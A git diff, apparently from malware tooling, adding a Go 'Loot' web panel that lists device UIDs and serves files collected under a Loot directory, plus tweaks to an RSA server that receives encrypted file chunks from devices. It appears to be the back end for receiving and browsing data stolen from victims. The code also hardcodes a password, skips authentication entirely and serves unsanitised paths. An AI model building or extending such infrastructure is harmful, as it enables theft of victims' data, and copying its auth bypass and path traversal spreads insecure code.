diff --git a/files.html b/files.html new file mode 100644 index 0000000..40694b7 --- /dev/null +++ b/files.html @@ -0,0 +1,18 @@ + + + + + + + Files + + +

Files

+ + + + diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..480c891 --- /dev/null +++ b/go.sum @@ -0,0 +1,2 @@ +github.com/liamg/magic v0.0.1 h1:Ru22ElY+sCh6RvRTWjQzKKCxsEco8hE0co8n1qe7TBM= +github.com/liamg/magic v0.0.1/go.mod h1:yQkOmZZI52EA+SQ2xyHpVw8fNvTBruF873Y+Vt6S+fk= diff --git a/login.html b/login.html new file mode 100644 index 0000000..e9de25a --- /dev/null +++ b/login.html @@ -0,0 +1,20 @@ + + + + + + Login + + +

Login

+
+
+
+ +
+ {{if .}} +

{{.}}

+ {{end}} + + + diff --git a/loot.html b/loot.html new file mode 100644 index 0000000..5da4524 --- /dev/null +++ b/loot.html @@ -0,0 +1,17 @@ + + + + + + Loot + + +

Loot

+ + + + diff --git a/loothandler.go b/loothandler.go new file mode 100644 index 0000000..7607dd2 --- /dev/null +++ b/loothandler.go @@ -0,0 +1,97 @@ +package main + +import ( + "html/template" + "io/ioutil" + "log" + "net/http" + "path/filepath" + "strings" +) + +var ( + password = "hardcodedpassword" + lootPath = "Loot" +) + +type PageData struct { + UIDs []string + Files []string +} + +func main() { + http.HandleFunc("/", loginHandler) + http.HandleFunc("/loot", lootHandler) + http.HandleFunc("/logout", logoutHandler) + http.HandleFunc("/files/", fileHandler) + + log.Fatal(http.ListenAndServe(":8080", nil)) +} + +func loginHandler(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + renderTemplate(w, "login.html", nil) + return + } + + if r.FormValue("password") == password { + http.Redirect(w, r, "/loot", http.StatusSeeOther) + return + } + + renderTemplate(w, "login.html", "Incorrect password") +} + +func lootHandler(w http.ResponseWriter, r *http.Request) { + if !isAuthenticated(r) { + http.Redirect(w, r, "/", http.StatusSeeOther) + return + } + + uids, err := getDeviceUIDs() + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + + data := PageData{UIDs: uids} + renderTemplate(w, "loot.html", data) +} + +func fileHandler(w http.ResponseWriter, r *http.Request) { + requestedPath := strings.TrimPrefix(r.URL.Path, "/files/") + filePath := filepath.Join(lootPath, requestedPath) + http.ServeFile(w, r, filePath) +} + +func logoutHandler(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, "/", http.StatusSeeOther) +} + +func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) { + t, err := template.ParseFiles(tmpl) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + t.Execute(w, data) +} + +func isAuthenticated(r *http.Request) bool { + return true +} + +func getDeviceUIDs() ([]string, error) { + var uids []string + files, err := ioutil.ReadDir(lootPath) + if err != nil { + return nil, err + } + for _, file := range files { + if file.IsDir() { + uids = append(uids, file.Name()) + } + } + return uids, nil +} + diff --git a/rsaserver.go b/rsaserver.go index 8e13831..882aba8 100644 --- a/rsaserver.go +++ b/rsaserver.go @@ -117,11 +117,11 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) { chunks = append(chunks, chunk) - conn.Write([]byte("Received and decrypted chunk\n")) + conn.Write([]byte("C\n")) } go decryptAndHandle(chunks, key, iv, uid) - conn.Write([]byte("Received and decrypted\n")) + conn.Write([]byte("D\n")) moreFiles, err := bufio.NewReader(conn).ReadString('\n')